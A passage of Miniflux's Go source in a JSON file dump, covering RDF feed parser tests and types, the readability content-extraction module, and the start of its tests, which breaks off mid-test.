Parse(\"http://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(`Unexpected number of entries, got %d`, len(feed.Entries))\n\t}\n\n\texpected := `Item Title`\n\tresult := feed.Entries[0].Title\n\tif result != expected {\n\t\tt.Errorf(`Unexpected entry title, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestParseItemWithEncodedHTMLTitle(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns=\"http://purl.org/rss/1.0/\">\n\t  <channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>http://example.org</link>\n\t  </channel>\n\n\t  <item>\n\t\t\t<title>AT&amp;amp;T</title>\n\t\t\t<description>Test</description>\n\t\t\t<link>http://example.org/test.html</link>\n\t  </item>\n\t</rdf:RDF>`\n\n\tfeed, err := Parse(\"http://example.org\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Title != `AT&T` {\n\t\tt.Errorf(\"Incorrect entry title, got: %q\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseRDFWithContentEncoded(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<rdf:RDF\n\t\txmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"\n\t\txmlns=\"http://purl.org/rss/1.0/\"\n\t\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\">\n\t\t<channel>\n\t\t\t<title>Example Feed</title>\n\t\t\t<link>http://example.org/</link>\n\t\t</channel>\n\t\t<item>\n\t\t\t<title>Item Title</title>\n\t\t\t<link>http://example.org/</link>\n\t\t\t<content:encoded><![CDATA[<p>Test</p>]]></content:encoded>\n\t\t</item>\n\t</rdf:RDF>`\n\n\tfeed, err := Parse(\"http://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(`Unexpected number of entries, got %d`, len(feed.Entries))\n\t}\n\n\texpected := `<p>Test</p>`\n\tresult := feed.Entries[0].Content\n\tif result != expected {\n\t\tt.Errorf(`Unexpected entry content, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestParseRDFWithEncodedHTMLDescription(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<rdf:RDF\n\t\txmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"\n\t\txmlns=\"http://purl.org/rss/1.0/\"\n\t\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\">\n\t\t<channel>\n\t\t\t<title>Example Feed</title>\n\t\t\t<link>http://example.org/</link>\n\t\t</channel>\n\t\t<item>\n\t\t\t<title>Item Title</title>\n\t\t\t<link>http://example.org/</link>\n\t\t\t<description>AT&amp;amp;T &lt;img src=\"https://example.org/img.png\"&gt;&lt;/a&gt;</description>\n\t\t</item>\n\t</rdf:RDF>`\n\n\tfeed, err := Parse(\"http://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(`Unexpected number of entries, got %d`, len(feed.Entries))\n\t}\n\n\texpected := `AT&amp;T <img src=\"https://example.org/img.png\"></a>`\n\tresult := feed.Entries[0].Content\n\tif result != expected {\n\t\tt.Errorf(`Unexpected entry content, got %v instead of %v`, result, expected)\n\t}\n}\n\nfunc TestParseItemWithoutDate(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns=\"http://purl.org/rss/1.0/\">\n\t  <channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>http://example.org</link>\n\t  </channel>\n\n\t  <item>\n\t\t\t<title>Title</title>\n\t\t\t<description>Test</description>\n\t\t\t<link>http://example.org/test.html</link>\n\t  </item>\n\t</rdf:RDF>`\n\n\tfeed, err := Parse(\"http://example.org\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpectedDate := time.Now().In(time.Local)\n\tdiff := expectedDate.Sub(feed.Entries[0].Date)\n\tif diff > time.Second {\n\t\tt.Errorf(\"Incorrect entry date, got: %v\", diff)\n\t}\n}\n\nfunc TestParseItemWithDublicCoreDate(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns=\"http://purl.org/rss/1.0/\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\">\n\t  <channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>http://example.org</link>\n\t  </channel>\n\n\t  <item>\n\t\t\t<title>Title</title>\n\t\t\t<description>Test</description>\n\t\t\t<link>http://example.org/test.html</link>\n\t\t\t<dc:creator>Tester</dc:creator>\n\t\t\t<dc:date>2018-04-10T05:00:00+00:00</dc:date>\n\t  </item>\n\t</rdf:RDF>`\n\n\tfeed, err := Parse(\"http://example.org\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpectedDate := time.Date(2018, time.April, 10, 5, 0, 0, 0, time.UTC)\n\tif !feed.Entries[0].Date.Equal(expectedDate) {\n\t\tt.Errorf(\"Incorrect entry date, got: %v, want: %v\", feed.Entries[0].Date, expectedDate)\n\t}\n}\n\nfunc TestParseItemWithInvalidDublicCoreDate(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns=\"http://purl.org/rss/1.0/\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\">\n\t  <channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>http://example.org</link>\n\t  </channel>\n\n\t  <item>\n\t\t\t<title>Title</title>\n\t\t\t<description>Test</description>\n\t\t\t<link>http://example.org/test.html</link>\n\t\t\t<dc:creator>Tester</dc:creator>\n\t\t\t<dc:date>20-04-10T05:00:00+00:00</dc:date>\n\t  </item>\n\t</rdf:RDF>`\n\n\tfeed, err := Parse(\"http://example.org\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpectedDate := time.Now().In(time.Local)\n\tdiff := expectedDate.Sub(feed.Entries[0].Date)\n\tif diff > time.Second {\n\t\tt.Errorf(\"Incorrect entry date, got: %v\", diff)\n\t}\n}\n\nfunc TestParseItemWithEncodedHTMLInDCCreatorField(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns=\"http://purl.org/rss/1.0/\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\">\n\t  <channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>http://example.org</link>\n\t  </channel>\n\n\t  <item>\n\t\t\t<title>Title</title>\n\t\t\t<description>Test</description>\n\t\t\t<link>http://example.org/test.html</link>\n\t\t\t<dc:creator>&lt;a href=&quot;http://example.org/author1&quot;>Author 1&lt;/a&gt; (University 1), &lt;a href=&quot;http://example.org/author2&quot;>Author 2&lt;/a&gt; (University 2)</dc:creator>\n\t\t\t<dc:date>2018-04-10T05:00:00+00:00</dc:date>\n\t  </item>\n\t</rdf:RDF>`\n\n\tfeed, err := Parse(\"http://example.org\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpectedAuthor := \"Author 1 (University 1), Author 2 (University 2)\"\n\tif feed.Entries[0].Author != expectedAuthor {\n\t\tt.Errorf(\"Incorrect entry author, got: %s, want: %s\", feed.Entries[0].Author, expectedAuthor)\n\t}\n}\n\nfunc TestParseItemWithOnlyFeedAuthor(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<rdf:RDF\n\t  xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"\n\t  xmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\t  xmlns=\"http://purl.org/rss/1.0/\"\n\t>\n\n\t  <channel rdf:about=\"http://meerkat.oreillynet.com/?_fl=rss1.0\">\n\t\t<title>Meerkat</title>\n\t\t<link>http://meerkat.oreillynet.com</link>\n\t\t<dc:creator>Rael Dornfest (mailto:rael@oreilly.com)</dc:creator>\n\t  </channel>\n\n\t  <item rdf:about=\"http://c.moreover.com/click/here.pl?r123\">\n\t\t<title>XML: A Disruptive Technology</title>\n\t\t<link>http://c.moreover.com/click/here.pl?r123</link>\n\t\t<dc:description>\n\t\t  XML is placing increasingly heavy loads on the existing technical\n\t\t  infrastructure of the Internet.\n\t\t</dc:description>\n\t  </item>\n\t</rdf:RDF>`\n\n\tfeed, err := Parse(\"http://meerkat.oreillynet.com\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Author != \"Rael Dornfest (mailto:rael@oreilly.com)\" {\n\t\tt.Errorf(\"Incorrect entry author, got: %s\", feed.Entries[0].Author)\n\t}\n}\n\nfunc TestParseInvalidXml(t *testing.T) {\n\tdata := `garbage`\n\t_, err := Parse(\"http://example.org\", bytes.NewReader([]byte(data)))\n\tif err == nil {\n\t\tt.Fatal(\"Parse should returns an error\")\n\t}\n}\n\nfunc TestParseFeedWithHTMLEntity(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns=\"http://purl.org/rss/1.0/\">\n\t  <channel>\n\t\t\t<title>Example &nbsp; Feed</title>\n\t\t\t<link>http://example.org</link>\n\t  </channel>\n\t</rdf:RDF>`\n\n\tfeed, err := Parse(\"http://example.org\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Title != \"Example \\u00a0 Feed\" {\n\t\tt.Errorf(`Incorrect title, got: %q`, feed.Title)\n\t}\n}\n\nfunc TestParseFeedWithInvalidCharacterEntity(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns=\"http://purl.org/rss/1.0/\">\n\t  <channel>\n\t\t\t<title>Example Feed</title>\n\t\t\t<link>http://example.org/a&b</link>\n\t  </channel>\n\t</rdf:RDF>`\n\n\tfeed, err := Parse(\"http://example.org\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.SiteURL != \"http://example.org/a&b\" {\n\t\tt.Errorf(`Incorrect URL, got: %q`, feed.SiteURL)\n\t}\n}\n"
  },
  {
    "path": "internal/reader/rdf/rdf.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage rdf // import \"miniflux.app/v2/internal/reader/rdf\"\n\nimport (\n\t\"encoding/xml\"\n\n\t\"miniflux.app/v2/internal/reader/dublincore\"\n)\n\n// rdf sepcs: https://web.resource.org/rss/1.0/spec\ntype rdf struct {\n\tXMLName xml.Name   `xml:\"http://www.w3.org/1999/02/22-rdf-syntax-ns# RDF\"`\n\tChannel rdfChannel `xml:\"channel\"`\n\tItems   []rdfItem  `xml:\"item\"`\n}\n\ntype rdfChannel struct {\n\tTitle       string `xml:\"title\"`\n\tLink        string `xml:\"link\"`\n\tDescription string `xml:\"description\"`\n\tdublincore.DublinCoreChannelElement\n}\n\ntype rdfItem struct {\n\tTitle       string `xml:\"http://purl.org/rss/1.0/ title\"`\n\tLink        string `xml:\"link\"`\n\tDescription string `xml:\"description\"`\n\tdublincore.DublinCoreItemElement\n}\n"
  },
  {
    "path": "internal/reader/readability/readability.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage readability // import \"miniflux.app/v2/internal/reader/readability\"\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"log/slog\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/urllib\"\n\n\t\"github.com/PuerkitoBio/goquery\"\n\t\"golang.org/x/net/html\"\n)\n\nconst defaultTagsToScore = \"section,h2,h3,h4,h5,h6,p,td,pre,div\"\n\nvar (\n\tstrongCandidatesToRemove  = [...]string{\"popupbody\", \"-ad\", \"g-plus\"}\n\tmaybeCandidateToRemove    = [...]string{\"and\", \"article\", \"body\", \"column\", \"main\", \"shadow\", \"content\"}\n\tunlikelyCandidateToRemove = [...]string{\"banner\", \"breadcrumbs\", \"combx\", \"comment\", \"community\", \"cover-wrap\", \"disqus\", \"extra\", \"foot\", \"header\", \"legends\", \"menu\", \"modal\", \"related\", \"remark\", \"replies\", \"rss\", \"shoutbox\", \"sidebar\", \"skyscraper\", \"social\", \"sponsor\", \"supplemental\", \"ad-break\", \"agegate\", \"pagination\", \"pager\", \"popup\", \"yom-remote\"}\n\n\tpositiveKeywords = [...]string{\"article\", \"blog\", \"body\", \"content\", \"entry\", \"h-entry\", \"hentry\", \"main\", \"page\", \"pagination\", \"post\", \"story\", \"text\"}\n\tnegativeKeywords = [...]string{\"author\", \"banner\", \"byline\", \"com-\", \"combx\", \"comment\", \"contact\", \"dateline\", \"foot\", \"hid\", \"masthead\", \"media\", \"meta\", \"modal\", \"outbrain\", \"promo\", \"related\", \"scroll\", \"share\", \"shopping\", \"shoutbox\", \"sidebar\", \"skyscraper\", \"sponsor\", \"tags\", \"tool\", \"widget\", \"writtenby\"}\n)\n\ntype candidate struct {\n\tselection *goquery.Selection\n\tscore     float32\n}\n\nfunc (c *candidate) Node() *html.Node {\n\tif c.selection.Length() == 0 {\n\t\treturn nil\n\t}\n\treturn c.selection.Get(0)\n}\n\nfunc (c *candidate) String() string {\n\tnode := c.Node()\n\tif node == nil {\n\t\treturn fmt.Sprintf(\"empty => %f\", c.score)\n\t}\n\n\tid, _ := c.selection.Attr(\"id\")\n\tclass, _ := c.selection.Attr(\"class\")\n\n\tswitch {\n\tcase id != \"\" && class != \"\":\n\t\treturn fmt.Sprintf(\"%s#%s.%s => %f\", node.DataAtom, id, class, c.score)\n\tcase id != \"\":\n\t\treturn fmt.Sprintf(\"%s#%s => %f\", node.DataAtom, id, c.score)\n\tcase class != \"\":\n\t\treturn fmt.Sprintf(\"%s.%s => %f\", node.DataAtom, class, c.score)\n\t}\n\n\treturn fmt.Sprintf(\"%s => %f\", node.DataAtom, c.score)\n}\n\ntype candidateList map[*html.Node]*candidate\n\nfunc (c candidateList) String() string {\n\toutput := make([]string, 0, len(c))\n\tfor _, candidate := range c {\n\t\toutput = append(output, candidate.String())\n\t}\n\treturn strings.Join(output, \", \")\n}\n\n// ExtractContent returns relevant content.\nfunc ExtractContent(page io.Reader) (baseURL string, extractedContent string, err error) {\n\tdocument, err := goquery.NewDocumentFromReader(page)\n\tif err != nil {\n\t\treturn \"\", \"\", err\n\t}\n\n\tif hrefValue, exists := document.FindMatcher(goquery.Single(\"head base\")).Attr(\"href\"); exists {\n\t\threfValue = strings.TrimSpace(hrefValue)\n\t\tif urllib.IsAbsoluteURL(hrefValue) {\n\t\t\tbaseURL = hrefValue\n\t\t}\n\t}\n\n\tdocument.Find(\"script,style\").Remove()\n\n\tremoveUnlikelyCandidates(document)\n\ttransformMisusedDivsIntoParagraphs(document)\n\n\tcandidates := getCandidates(document)\n\ttopCandidate := getTopCandidate(document, candidates)\n\n\tslog.Debug(\"Readability parsing\",\n\t\tslog.String(\"base_url\", baseURL),\n\t\tslog.String(\"candidates\", candidates.String()),\n\t\tslog.String(\"topCandidate\", topCandidate.String()),\n\t)\n\n\textractedContent = getArticle(topCandidate, candidates)\n\treturn baseURL, extractedContent, nil\n}\n\nfunc getSelectionLength(s *goquery.Selection) int {\n\treturn sumMapOnSelection(s, func(s string) int { return len(s) })\n}\n\nfunc getSelectionCommaCount(s *goquery.Selection) int {\n\treturn sumMapOnSelection(s, func(s string) int { return strings.Count(s, \",\") })\n}\n\n// sumMapOnSelection maps `f` on the selection, and return the sum of the result.\n// This construct is used instead of goquery.Selection's .Text() method,\n// to avoid materializing the text to simply map/sum on it, saving a significant\n// amount of memory of large selections, and reducing the pressure on the garbage-collector.\nfunc sumMapOnSelection(s *goquery.Selection, f func(str string) int) int {\n\tvar recursiveFunction func(*html.Node) int\n\trecursiveFunction = func(n *html.Node) int {\n\t\ttotal := 0\n\t\tif n.Type == html.TextNode {\n\t\t\ttotal += f(n.Data)\n\t\t}\n\t\tif n.FirstChild != nil {\n\t\t\tfor c := n.FirstChild; c != nil; c = c.NextSibling {\n\t\t\t\ttotal += recursiveFunction(c)\n\t\t\t}\n\t\t}\n\t\treturn total\n\t}\n\n\tsum := 0\n\tfor _, n := range s.Nodes {\n\t\tsum += recursiveFunction(n)\n\t}\n\treturn sum\n}\n\n// Now that we have the top candidate, look through its siblings for content that might also be related.\n// Things like preambles, content split by ads that we removed, etc.\nfunc getArticle(topCandidate *candidate, candidates candidateList) string {\n\tvar output strings.Builder\n\toutput.WriteString(\"<div>\")\n\tsiblingScoreThreshold := max(10, topCandidate.score/5)\n\n\ttopCandidate.selection.Siblings().Union(topCandidate.selection).Each(func(i int, s *goquery.Selection) {\n\t\tappend := false\n\t\ttag := \"div\"\n\t\tnode := s.Get(0)\n\n\t\ttopNode := topCandidate.Node()\n\t\tif topNode != nil && node == topNode {\n\t\t\tappend = true\n\t\t} else if c, ok := candidates[node]; ok && c.score >= siblingScoreThreshold {\n\t\t\tappend = true\n\t\t} else if s.Is(\"p\") {\n\t\t\ttag = node.Data\n\t\t\tlinkDensity := getLinkDensity(s)\n\t\t\tcontentLength := getSelectionLength(s)\n\n\t\t\tif contentLength >= 80 {\n\t\t\t\tif linkDensity < .25 {\n\t\t\t\t\tappend = true\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif linkDensity == 0 {\n\t\t\t\t\t// It's a small selection, so .Text doesn't impact performances too much.\n\t\t\t\t\tif containsSentence(s.Text()) {\n\t\t\t\t\t\tappend = true\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif append {\n\t\t\thtml, _ := s.Html()\n\t\t\toutput.WriteByte('<')\n\t\t\toutput.WriteString(tag)\n\t\t\toutput.WriteByte('>')\n\t\t\toutput.WriteString(html)\n\t\t\toutput.WriteString(\"</\")\n\t\t\toutput.WriteString(tag)\n\t\t\toutput.WriteByte('>')\n\t\t}\n\t})\n\n\toutput.WriteString(\"</div>\")\n\treturn output.String()\n}\n\nfunc shouldRemoveCandidate(str string) bool {\n\tstr = strings.ToLower(str)\n\n\t// Those candidates have no false-positives, no need to check against `maybeCandidate`\n\tfor _, strongCandidateToRemove := range strongCandidatesToRemove {\n\t\tif strings.Contains(str, strongCandidateToRemove) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\tisFalsePositive := false\n\tfor _, maybeCandidateToRemove := range maybeCandidateToRemove {\n\t\tif strings.Contains(str, maybeCandidateToRemove) {\n\t\t\tisFalsePositive = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\tfor _, unlikelyCandidateToRemove := range unlikelyCandidateToRemove {\n\t\tif strings.Contains(str, unlikelyCandidateToRemove) {\n\t\t\treturn !isFalsePositive\n\t\t}\n\t}\n\treturn false\n}\n\nfunc removeUnlikelyCandidates(document *goquery.Document) {\n\t// Only select tags with either a class or an id attribute,\n\t// and never the html nor body tags, as we don't want to ever remove them.\n\tselector := \"[class]:not(body,html)\" + \",\" + \"[id]:not(body,html)\"\n\n\tfor _, s := range document.Find(selector).EachIter() {\n\t\tif s.Length() == 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\t// Don't remove elements within code blocks (pre or code tags)\n\t\tif s.Closest(\"pre,code\").Length() > 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\tif class, ok := s.Attr(\"class\"); ok && shouldRemoveCandidate(class) {\n\t\t\ts.Remove()\n\t\t} else if id, ok := s.Attr(\"id\"); ok && shouldRemoveCandidate(id) {\n\t\t\ts.Remove()\n\t\t}\n\t}\n}\n\nfunc getTopCandidate(document *goquery.Document, candidates candidateList) *candidate {\n\tvar best *candidate\n\n\tfor _, c := range candidates {\n\t\tif best == nil {\n\t\t\tbest = c\n\t\t} else if best.score < c.score {\n\t\t\tbest = c\n\t\t}\n\t}\n\n\tif best == nil {\n\t\tbest = &candidate{document.Find(\"body\"), 0}\n\t}\n\n\treturn best\n}\n\n// Loop through all paragraphs, and assign a score to them based on how content-y they look.\n// Then add their score to their parent node.\n// A score is determined by things like number of commas, class names, etc.\nfunc getCandidates(document *goquery.Document) candidateList {\n\tcandidates := make(candidateList)\n\n\tdocument.Find(defaultTagsToScore).Each(func(i int, s *goquery.Selection) {\n\t\ttextLen := getSelectionLength(s)\n\n\t\t// If this paragraph is less than 25 characters, don't even count it.\n\t\tif textLen < 25 {\n\t\t\treturn\n\t\t}\n\n\t\t// Add a point for the paragraph itself as a base.\n\t\tcontentScore := 1\n\n\t\t// Add points for any commas within this paragraph.\n\t\tcontentScore += getSelectionCommaCount(s) + 1\n\n\t\t// For every 100 characters in this paragraph, add another point. Up to 3 points.\n\t\tcontentScore += min(textLen/100, 3)\n\n\t\tparent := s.Parent()\n\t\tparentNode := parent.Get(0)\n\t\tif _, found := candidates[parentNode]; !found {\n\t\t\tcandidates[parentNode] = scoreNode(parent)\n\t\t}\n\t\tcandidates[parentNode].score += float32(contentScore)\n\n\t\t// The score of the current node influences its grandparent's one as well, but scaled to 50%.\n\t\tgrandParent := parent.Parent()\n\t\tif grandParent.Length() > 0 {\n\t\t\tgrandParentNode := grandParent.Get(0)\n\t\t\tif _, found := candidates[grandParentNode]; !found {\n\t\t\t\tcandidates[grandParentNode] = scoreNode(grandParent)\n\t\t\t}\n\t\t\tcandidates[grandParentNode].score += float32(contentScore) / 2.0\n\t\t}\n\t})\n\n\t// Scale the final candidates score based on link density. Good content\n\t// should have a relatively small link density (5% or less) and be mostly\n\t// unaffected by this operation\n\tfor _, candidate := range candidates {\n\t\tcandidate.score *= (1 - getLinkDensity(candidate.selection))\n\t}\n\n\treturn candidates\n}\n\nfunc scoreNode(s *goquery.Selection) *candidate {\n\tc := &candidate{selection: s, score: 0}\n\n\t// Check if selection is empty to avoid panic\n\tif s.Length() == 0 {\n\t\treturn c\n\t}\n\n\tswitch s.Get(0).Data {\n\tcase \"div\":\n\t\tc.score += 5\n\tcase \"pre\", \"td\", \"blockquote\", \"img\":\n\t\tc.score += 3\n\tcase \"address\", \"ol\", \"ul\", \"dl\", \"dd\", \"dt\", \"li\", \"form\":\n\t\tc.score -= 3\n\tcase \"h1\", \"h2\", \"h3\", \"h4\", \"h5\", \"h6\", \"th\":\n\t\tc.score -= 5\n\t}\n\n\tif class, ok := s.Attr(\"class\"); ok {\n\t\tc.score += getWeight(class)\n\t}\n\tif id, ok := s.Attr(\"id\"); ok {\n\t\tc.score += getWeight(id)\n\t}\n\n\treturn c\n}\n\n// Get the density of links as a percentage of the content\n// This is the amount of text that is inside a link divided by the total text in the node.\nfunc getLinkDensity(s *goquery.Selection) float32 {\n\tsum := getSelectionLength(s)\n\tif sum == 0 {\n\t\treturn 0\n\t}\n\n\tlinkLength := getSelectionLength(s.Find(\"a\"))\n\n\treturn float32(linkLength) / float32(sum)\n}\n\nfunc getWeight(s string) float32 {\n\ts = strings.ToLower(s)\n\tfor _, keyword := range negativeKeywords {\n\t\tif strings.Contains(s, keyword) {\n\t\t\treturn -25\n\t\t}\n\t}\n\tfor _, keyword := range positiveKeywords {\n\t\tif strings.Contains(s, keyword) {\n\t\t\treturn +25\n\t\t}\n\t}\n\treturn 0\n}\n\nfunc transformMisusedDivsIntoParagraphs(document *goquery.Document) {\n\tdocument.Find(\"div\").Each(func(i int, s *goquery.Selection) {\n\t\tnodes := s.Children().Nodes\n\n\t\tif len(nodes) == 0 {\n\t\t\ts.Nodes[0].Data = \"p\"\n\t\t\treturn\n\t\t}\n\n\t\tfor _, node := range nodes {\n\t\t\tswitch node.Data {\n\t\t\tcase \"a\", \"blockquote\", \"div\", \"dl\",\n\t\t\t\t\"img\", \"ol\", \"p\", \"pre\",\n\t\t\t\t\"table\", \"ul\":\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\ts.Nodes[0].Data = \"p\"\n\t\t\t}\n\t\t}\n\t})\n}\n\nfunc containsSentence(content string) bool {\n\treturn strings.HasSuffix(content, \".\") || strings.Contains(content, \". \")\n}\n"
  },
  {
    "path": "internal/reader/readability/readability_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage readability // import \"miniflux.app/v2/internal/reader/readability\"\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/PuerkitoBio/goquery\"\n\t\"golang.org/x/net/html\"\n)\n\nfunc BenchmarkExtractContent(b *testing.B) {\n\tvar testCases = map[string][]byte{\n\t\t\"miniflux_github.html\":    {},\n\t\t\"miniflux_wikipedia.html\": {},\n\t}\n\tfor filename := range testCases {\n\t\tdata, err := os.ReadFile(\"testdata/\" + filename)\n\t\tif err != nil {\n\t\t\tb.Fatalf(`Unable to read file %q: %v`, filename, err)\n\t\t}\n\t\ttestCases[filename] = data\n\t}\n\tfor range b.N {\n\t\tfor _, v := range testCases {\n\t\t\tExtractContent(bytes.NewReader(v))\n\t\t}\n\t}\n}\n\nfunc BenchmarkGetWeight(b *testing.B) {\n\ttestCases := []string{\n\t\t\"p-3 color-bg-accent-emphasis color-fg-on-emphasis show-on-focus js-skip-to-content\",\n\t\t\"d-flex flex-column mb-3\",\n\t\t\"AppHeader-search-control AppHeader-search-control-overflow\",\n\t\t\"Button Button--iconOnly Button--invisible Button--medium mr-1 px-2 py-0 d-flex flex-items-center rounded-1 color-fg-muted\",\n\t\t\"sr-only\",\n\t\t\"validation-12753bbc-b4d1-4e10-bec6-92e585d1699d\",\n\t}\n\tfor range b.N {\n\t\tfor _, v := range testCases {\n\t\t\tgetWeight(v)\n\t\t}\n\t}\n}\n\nfunc BenchmarkTransformMisusedDivsIntoParagraphs(b *testing.B) {\n\thtml := `<html><body>\n\t\t<div>Simple text content</div>\n\t\t<div>More <span>inline</span> content</div>\n\t\t<div><a href=\"#\">Link content</a></div>\n\t\t<div><p>Paragraph content</p></div>\n\t\t<div>Another simple text</div>\n\t</body></html>`\n\n\tb.ResetTimer()\n\tfor i := 0; i < b.N; i++ {\n\t\tdoc, _ := goquery.NewDocumentFromReader(strings.NewReader(html))\n\t\ttransformMisusedDivsIntoParagraphs(doc)\n\t}\n}\n\nfunc TestBaseURL(t *testing.T) {\n\thtml := `\n\t\t<html>\n\t\t\t<head>\n\t\t\t\t<base href=\"https://example.org/ \">\n\t\t\t</head>\n\t\t\t<body>\n\t\t\t\t<article>\n\t\t\t\t\tSome content\n\t\t\t\t</article>\n\t\t\t</body>\n\t\t</html>`\n\n\tbaseURL, _, err := ExtractContent(strings.NewReader(html))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif baseURL != \"https://example.org/\" {\n\t\tt.Errorf(`Unexpected base URL, got %q instead of \"https://example.org/\"`, baseURL)\n\t}\n}\n\nfunc TestMultipleBaseURL(t *testing.T) {\n\thtml := `\n\t\t<html>\n\t\t\t<head>\n\t\t\t\t<base href=\"https://example.org/ \">\n\t\t\t\t<base href=\"https://example.com/ \">\n\t\t\t</head>\n\t\t\t<body>\n\t\t\t\t<article>\n\t\t\t\t\tSome content\n\t\t\t\t</article>\n\t\t\t</body>\n\t\t</html>`\n\n\tbaseURL, _, err := ExtractContent(strings.NewReader(html))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif baseURL != \"https://example.org/\" {\n\t\tt.Errorf(`Unexpected base URL, got %q instead of \"https://example.org/\"`, baseURL)\n\t}\n}\n\nfunc TestRelativeBaseURL(t *testing.T) {\n\thtml := `\n\t\t<html>\n\t\t\t<head>\n\t\t\t\t<base href=\"/test/ \">\n\t\t\t</head>\n\t\t\t<body>\n\t\t\t\t<article>\n\t\t\t\t\tSome content\n\t\t\t\t</article>\n\t\t\t</body>\n\t\t</html>`\n\n\tbaseURL, _, err := ExtractContent(strings.NewReader(html))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif baseURL != \"\" {\n\t\tt.Errorf(`Unexpected base URL, got %q`, baseURL)\n\t}\n}\n\nfunc TestWithoutBaseURL(t *testing.T) {\n\thtml := `\n\t\t<html>\n\t\t\t<head>\n\t\t\t\t<title>Test</title>\n\t\t\t</head>\n\t\t\t<body>\n\t\t\t\t<article>\n\t\t\t\t\tSome content\n\t\t\t\t</article>\n\t\t\t</body>\n\t\t</html>`\n\n\tbaseURL, _, err := ExtractContent(strings.NewReader(html))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif baseURL != \"\" 